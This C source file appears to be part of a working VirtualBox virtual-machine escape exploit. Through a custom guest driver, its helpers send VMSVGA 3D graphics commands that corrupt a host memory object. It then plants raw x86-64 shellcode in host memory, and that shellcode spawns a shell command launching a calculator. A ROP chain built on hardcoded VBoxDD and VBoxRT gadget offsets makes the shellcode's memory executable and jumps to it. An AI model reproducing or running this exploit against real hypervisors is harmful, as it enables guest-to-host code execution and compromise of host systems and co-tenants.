#include "common_primitives.h"
#include "write_primitives.h"
#include "read_primitives.h"
#include "defs.h"

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <stdint.h>
#include <sys/ioctl.h>
#include <unistd.h>

int open_virtpwn_dev() {
	int fd;
	
	// Open the device file in write-only mode
	fd = open("/dev/vgapwn_dev", O_WRONLY);
	if (fd == -1) {
		perror("Error opening device");
		printf("[-] Error opening vgapwn device\n");
		return -1;
	}
	return fd;
}

int alloc_transfer_buffer(uint64_t size, uint64_t* virt_addr, uint64_t* phys_addr) {
	
	int fd = open_virtpwn_dev();
	if (fd < 0) {
		return -1;
	}
	struct vgapwn_alloc alloc_args;

	alloc_args.size = size;
	alloc_args.ret_virt_addr = (uint64_t)virt_addr;
	alloc_args.ret_phys_addr = (uint64_t)phys_addr;

	if (ioctl(fd, VGAPWN_ALLOC, &alloc_args) < 0) {
		perror("ioctl");
		printf("[-] Error allocating transfer buffer\n");
		close(fd);
		return -1;
	}	
	printf("[+] virt addr: %p, phys addr: %p\n", *virt_addr, *phys_addr);
	close(fd);
	return 0;
}

int define_surface(uint32_t gb_surface_id, uint32_t width, uint32_t height, uint32_t depth, uint32_t format) {

	int fd = open_virtpwn_dev();
	if (fd < 0) {
		return -1;
	}

	SVGA3dCmdHeader header;
	header.id = 1097;
	header.size = sizeof(SVGA3dCmdDefineGBSurface);

	uint64_t total_size = sizeof(SVGA3dCmdHeader) + header.size;
	uint8_t *cmd = (uint8_t*)malloc(total_size);
	uint8_t *ptr = cmd;

	memcpy(ptr, &header, header_size);
	ptr += header_size;

	SVGA3dCmdDefineGBSurface *cmd_body = (SVGA3dCmdDefineGBSurface*)ptr;

	memset(cmd_body, 0x00, sizeof(SVGA3dCmdDefineGBSurface));
	cmd_body->format = format;
	cmd_body->sid = gb_surface_id;
	cmd_body->numMipLevels = 1;
	cmd_body->size.width = width;
	cmd_body->size.height = height;
	cmd_body->size.depth = depth;

	// Write the message to the device
	if (write(fd, cmd, total_size) == -1) {
		perror("Error writing to device");
		printf("[-] Failed to create surface\n");
		close(fd);
		return -1;
	}

	free(cmd);
	close(fd);
	return 0;
}

int define_gmob(uint32_t mobid, uint64_t phys_addr, uint64_t size) {
	int fd = open_virtpwn_dev();
	if (fd < 0) {
		return -1;
	}


	SVGA3dCmdHeader header;
	header.id = 1093;
	header.size = sizeof(SVGA3dCmdDefineGBMob);
	uint64_t total_size = sizeof(SVGA3dCmdHeader) + header.size;
	uint8_t* cmd = (uint8_t*)malloc(total_size);
	uint8_t* ptr = cmd;
	memcpy(ptr, &header, header_size);
	ptr += header_size;

	SVGA3dCmdDefineGBMob *create_mob_command = (SVGA3dCmdDefineGBMob*)ptr;
	memset(create_mob_command, 0x00, sizeof(SVGA3dCmdDefineGBMob));

	create_mob_command->mobid = mobid;
	create_mob_command->ptDepth = SVGA3D_MOBFMT_RANGE;
	create_mob_command->base = phys_addr >> SHIFT;
	create_mob_command->sizeInBytes = size;


	if (write(fd, cmd, total_size) == -1) {
		perror("Error writing to device");
		close(fd);
		printf("[-] failed to define mobid\n");
		return -1;
	}

	close(fd);
	free(cmd);
}

int destroy_gmob(uint32_t mobid) {
	int fd = open_virtpwn_dev();
	if (fd < 0) {
		return -1;
	}

	SVGA3dCmdHeader header;
	header.id = 1094;
	header.size = sizeof(SVGA3dCmdDestroyGBMob);
	uint64_t total_size = sizeof(SVGA3dCmdHeader) + header.size;
	uint8_t* cmd = (uint8_t*)malloc(total_size);
	uint8_t* ptr = cmd;
	memcpy(ptr, &header, header_size);
	ptr += header_size;

	SVGA3dCmdDestroyGBMob *destroy_mob_command = (SVGA3dCmdDestroyGBMob*)ptr;
	memset(destroy_mob_command, 0x00, sizeof(SVGA3dCmdDestroyGBMob));

	destroy_mob_command->mobid = mobid;


	if (write(fd, cmd, total_size) == -1) {
		perror("Error writing to device");
		close(fd);
		printf("[-] failed to define mobid\n");
		return -1;
	}

	close(fd);
	free(cmd);
}


int bind_surface(uint32_t surface_id, uint32_t mobid) {
	int fd = open_virtpwn_dev();
	if (fd < 0) {
		return -1;
	}

	SVGA3dCmdHeader header;
	header.id = 1099;
	header.size = sizeof(SVGA3dCmdBindGBSurface);
	uint64_t total_size = sizeof(SVGA3dCmdHeader) + header.size;
	uint8_t* cmd = (uint8_t*)malloc(total_size);
	uint8_t* ptr = cmd;
	memcpy(ptr, &header, header_size);
	ptr += header_size;

	SVGA3dCmdBindGBSurface *bind_mob_command = (SVGA3dCmdBindGBSurface*)ptr;
	memset(bind_mob_command, 0x00, sizeof(SVGA3dCmdBindGBSurface));
	bind_mob_command->sid = surface_id;
	bind_mob_command->mobid = mobid;

	if (write(fd, cmd, total_size) == -1) {
		perror("Error writing to device");
		printf("[-] Failed to bind\n");
		close(fd);
		exit(1);
	}

	free(cmd);
	close(fd);
	return 0;
}

int destroy_surface(uint32_t surface_id) {
	int fd = open_virtpwn_dev();
	if (fd < 0) {
		return -1;
	}

	SVGA3dCmdHeader header;
	header.id = 1041;
	header.size = sizeof(SVGA3dCmdDestroyGBMob);
	uint64_t total_size = sizeof(SVGA3dCmdHeader) + header.size;
	uint8_t* cmd = (uint8_t*)malloc(total_size);
	uint8_t* ptr = cmd;
	memcpy(ptr, &header, header_size);
	ptr += header_size;

	SVGA3dCmdDestroySurface *destroy_mob_command = (SVGA3dCmdDestroySurface*)ptr;
	memset(destroy_mob_command, 0x00, sizeof(SVGA3dCmdDestroyGBMob));

	destroy_mob_command->surface_id = surface_id;


	if (write(fd, cmd, total_size) == -1) {
		perror("Error writing to device");
		close(fd);
		printf("[-] failed to define mobid\n");
		return -1;
	}

	close(fd);
	free(cmd);
}

int force_alloc_surface(uint32_t surface_id) {
	int fd = open_virtpwn_dev();
	if (fd < 0) {
		return -1;
	}

	SVGA3dCmdHeader header;
	header.id = 1044;
	header.size = sizeof(SVGA3dCmdSurfaceDMA);
	uint64_t total_size = sizeof(SVGA3dCmdHeader) + header.size;
	uint8_t* cmd = (uint8_t*)malloc(total_size);
	uint8_t* ptr = cmd;
	memcpy(ptr, &header, header_size);
	ptr += header_size;

	SVGA3dCmdSurfaceDMA *dma_command = (SVGA3dCmdSurfaceDMA*)ptr;
	memset(dma_command, 0x00, sizeof(SVGA3dCmdSurfaceDMA));

	dma_command->host.sid = surface_id;

	if (write(fd, cmd, total_size) == -1) {
		perror("Error writing to device");
		close(fd);
		printf("[-] failed to force surface alloc\n");
		return -1;
	}

	close(fd);
	free(cmd);
	return 0;
}

int define_context(uint32_t context_id) {
	int fd = open_virtpwn_dev();
	if (fd < 0) {
		return -1;
	}

	SVGA3dCmdHeader header;
	header.id = 1143;
	header.size = sizeof(SVGA3dCmdDefineContext);
	uint64_t total_size = sizeof(SVGA3dCmdHeader) + header.size;
	uint8_t* cmd = (uint8_t*)malloc(total_size);
	uint8_t* ptr = cmd;
	memcpy(ptr, &header, header_size);
	ptr += header_size;

	SVGA3dCmdDefineContext *define_context_cmd = (SVGA3dCmdDefineContext*)ptr;
	memset(define_context_cmd, 0x00, sizeof(SVGA3dCmdDefineContext));

	define_context_cmd->cid = context_id;

	if (write(fd, cmd, total_size) == -1) {
		perror("Error writing to device");
		close(fd);
		printf("[-] failed to force surface alloc\n");
		return -1;
	}

	close(fd);
	free(cmd);
	return 0;
}
int grow_co_table(uint32_t context_id, uint32_t mobid, uint32_t type, uint32_t size) {
	int fd = open_virtpwn_dev();
	if (fd < 0) {
		return -1;
	}

	SVGA3dCmdHeader header;
	header.id = 1237;
	header.size = sizeof(SVGA3dCmdDXGrowCOTable);
	uint64_t total_size = sizeof(SVGA3dCmdHeader) + header.size;
	uint8_t* cmd = (uint8_t*)malloc(total_size);
	uint8_t* ptr = cmd;
	memcpy(ptr, &header, header_size);
	ptr += header_size;

	SVGA3dCmdDXGrowCOTable *grow_table_cmd = (SVGA3dCmdDXGrowCOTable*)ptr;
	memset(grow_table_cmd, 0x00, sizeof(SVGA3dCmdDXGrowCOTable));

	grow_table_cmd->cid = context_id;
	grow_table_cmd->mobid = mobid;
	grow_table_cmd->type = type;
	grow_table_cmd->validSizeInBytes = size;

	if (write(fd, cmd, total_size) == -1) {
		perror("Error writing to device");
		close(fd);
		printf("[-] failed to force surface alloc\n");
		return -1;
	}

	close(fd);
	free(cmd);
	return 0;
}

int define_screen(SVGA3dCmdDefineGBScreenTarget* screen) {
	int fd = open_virtpwn_dev();
	if (fd < 0) {
		return -1;
	}

	SVGA3dCmdHeader header;
	header.id = 1124;
	header.size = sizeof(SVGA3dCmdDefineGBScreenTarget);
	uint64_t total_size = sizeof(SVGA3dCmdHeader) + header.size;
	uint8_t* cmd = (uint8_t*)malloc(total_size);
	uint8_t* ptr = cmd;
	memcpy(ptr, &header, header_size);
	ptr += header_size;

	SVGA3dCmdDefineGBScreenTarget *define_screen_cmd = (SVGA3dCmdDefineGBScreenTarget*)ptr;
        *define_screen_cmd = *screen;	

	if (write(fd, cmd, total_size) == -1) {
		perror("Error writing to device");
		close(fd);
		printf("[-] failed to force surface alloc\n");
		return -1;
	}

	close(fd);
	free(cmd);
	return 0;
}


int clear_cmd() {
	int fd = open_virtpwn_dev();
	if (fd < 0) {
		return -1;
	}

	SVGA3dCmdHeader header;
	header.id = 1057;
	header.size = sizeof(SVGA3dCmdClear);
	uint64_t total_size = sizeof(SVGA3dCmdHeader) + header.size + 0x20;
	uint8_t* cmd = (uint8_t*)malloc(total_size);
	uint8_t* ptr = cmd;
	memcpy(ptr, &header, header_size);
	ptr += header_size;

	SVGA3dCmdClear *clear_cmd = (SVGA3dCmdClear*)ptr;
	memset(clear_cmd, 0, sizeof(SVGA3dCmdClear));
	ptr += sizeof(SVGA3dCmdClear);
	memset(ptr, 0xAA, 0x20);

	if (write(fd, cmd, total_size) == -1) {
		perror("Error writing to device");
		close(fd);
		printf("[-] failed to force surface alloc\n");
		return -1;
	}

	close(fd);
	free(cmd);
	return 0;
}

int set_scissor_rect() {
	int fd = open_virtpwn_dev();
	if (fd < 0) {
		return -1;
	}

	SVGA3dCmdHeader header;
	header.id = 1064;
	header.size = sizeof(SVGA3dCmdSetScissorRect);
	uint64_t total_size = sizeof(SVGA3dCmdHeader) + header.size;
	uint8_t* cmd = (uint8_t*)malloc(total_size);
	uint8_t* ptr = cmd;
	memcpy(ptr, &header, header_size);
	ptr += header_size;

	SVGA3dCmdSetScissorRect *clear_cmd = (SVGA3dCmdSetScissorRect*)ptr;
	memset(clear_cmd, 0, sizeof(SVGA3dCmdSetScissorRect));

	if (write(fd, cmd, total_size) == -1) {
		perror("Error writing to device");
		close(fd);
		printf("[-] failed to force surface alloc\n");
		return -1;
	}

	close(fd);
	free(cmd);
	return 0;
}

int plant_shellcode(struct exploit_context *ctx, uint64_t* shellcode_addr) {
	uint64_t shellcode_size = 0x200;
	printf("[.] Planting shellcode\n");
	ctx->corrupted_mob->Gbo.cbTotal = shellcode_size;
	ctx->corrupted_mob->Gbo.fGboFlags = 0;
	ctx->corrupted_mob->Gbo.pvHost = 0;
	int rc = corrupt_host_gmob(ctx);
	sleep(1);
	if (rc != 0)
		return rc;
	
	rc = grow_co_table(ctx->context_id, ctx->corrupted_mob->Core.Key, ctx->mob_type, shellcode_size);
	
	if (rc != 0)
		return rc;

	rc = read_corrupted_mob(ctx);
	if (rc != 0)
		return rc;

	printf("[+] shellcode place: %p\n", ctx->corrupted_mob->Gbo.pvHost);
	fflush(0);
	*shellcode_addr = (uint64_t)ctx->corrupted_mob->Gbo.pvHost;
	uint8_t *shellcode = (uint8_t*)malloc(shellcode_size);
	memset(shellcode, 0x0, shellcode_size);

	uint8_t shellcode_raw[] = { 0xb8, 0x39, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x83, 0xf8, 0x00, 0x74, 0x0a, 0xb8, 0x3c, 0x00, 0x00, 0x00, 0x48, 0x31, 0xff, 0x0f, 0x05, 0xb8, 0x68, 0x00, 0x00, 0x00, 0x50, 0x48, 0xb8, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x62, 0x61, 0x73, 0x50, 0x48, 0x89, 0xe7, 0xb8, 0x2d, 0x63, 0x00, 0x00, 0x50, 0x49, 0x89, 0xe0, 0x6a, 0x00, 0x48, 0xb8, 0x6c, 0x63, 0x75, 0x6c, 0x61, 0x74, 0x6f, 0x72, 0x50, 0x48, 0xb8, 0x67, 0x6e, 0x6f, 0x6d, 0x65, 0x2d, 0x63, 0x61, 0x50, 0x49, 0x89, 0xe1, 0x6a, 0x00, 0x41, 0x51, 0x41, 0x50, 0x57, 0x48, 0x89, 0xe6, 0xb8, 0x3a, 0x31, 0x00, 0x00, 0x50, 0x48, 0xb8, 0x44, 0x49, 0x53, 0x50, 0x4c, 0x41, 0x59, 0x3d, 0x50, 0x49, 0x89, 0xe0, 0x6a, 0x00, 0x41, 0x50, 0x48, 0x89, 0xe2, 0xb8, 0x3b, 0x00, 0x00, 0x00, 0x48, 0x31, 0xc9, 0x0f, 0x05, 0xb8, 0x3c, 0x00, 0x00, 0x00, 0xbf, 0x01, 0x00, 0x00, 0x00, 0x0f, 0x05 }
;
	memcpy(shellcode, shellcode_raw, sizeof(shellcode_raw));
	arbitrary_write(ctx, *shellcode_addr, shellcode, shellcode_size);

	printf("[+] shellcode planted successfully\n");
	sleep(1);

	return 0;

}

int trigger_code_exec(struct exploit_context* ctx, uint64_t vboxdd_base, uint64_t vboxrt_base) {
	uint64_t shellcode_addr;
	int rc = plant_shellcode(ctx, &shellcode_addr);
	if (rc != 0) 
		return -1;

	printf("[.] Triggering code exec...\n");
	int fd = open_virtpwn_dev();
	if (fd < 0) {
		return -1;
	}

	SVGA3dCmdHeader header;
	header.id = 1057;
	header.size = sizeof(SVGA3dCmdClear);
	uint64_t total_size = sizeof(SVGA3dCmdHeader) + header.size + 0x100;
	uint8_t* cmd = (uint8_t*)malloc(total_size);
	uint8_t* ptr = cmd;
	memcpy(ptr, &header, header_size);
	ptr += header_size;

	SVGA3dCmdClear *clear_cmd = (SVGA3dCmdClear*)ptr;
	memset(clear_cmd, 0, sizeof(SVGA3dCmdClear));
	ptr += sizeof(SVGA3dCmdClear);
	
	// rop goes here.
	memset(ptr, 0xAA, 0x20);
	uint64_t *rop_ptr = (uint64_t*)ptr;
	uint64_t index = 1;

	// pop rax; ret;
	rop_ptr[index++] = vboxdd_base + 0x3c6a4;
	rop_ptr[index++] = 0x0a;

	// pop rdi; ret
	rop_ptr[index++] = vboxdd_base + 0x3fa254;
	rop_ptr[index++] = shellcode_addr & 0xFFFFFFFFFFFFF000;
	
	// pop rsi; ret
	rop_ptr[index++] = vboxdd_base + 0x4045bb;
	rop_ptr[index++] = 0x1;

	// pop rdx; ret
	rop_ptr[index++] = vboxdd_base + 0x39912;
	rop_ptr[index++] = 0x7;

	// syscall
	rop_ptr[index++] = vboxrt_base + 0x316f6d;
	rop_ptr[index++] = shellcode_addr;

	if (write(fd, cmd, total_size) == -1) {
		perror("Error writing to device");
		close(fd);
		printf("[-] failed to force surface alloc\n");
		return -1;
	}

	close(fd);
	free(cmd);
	return 0;
}
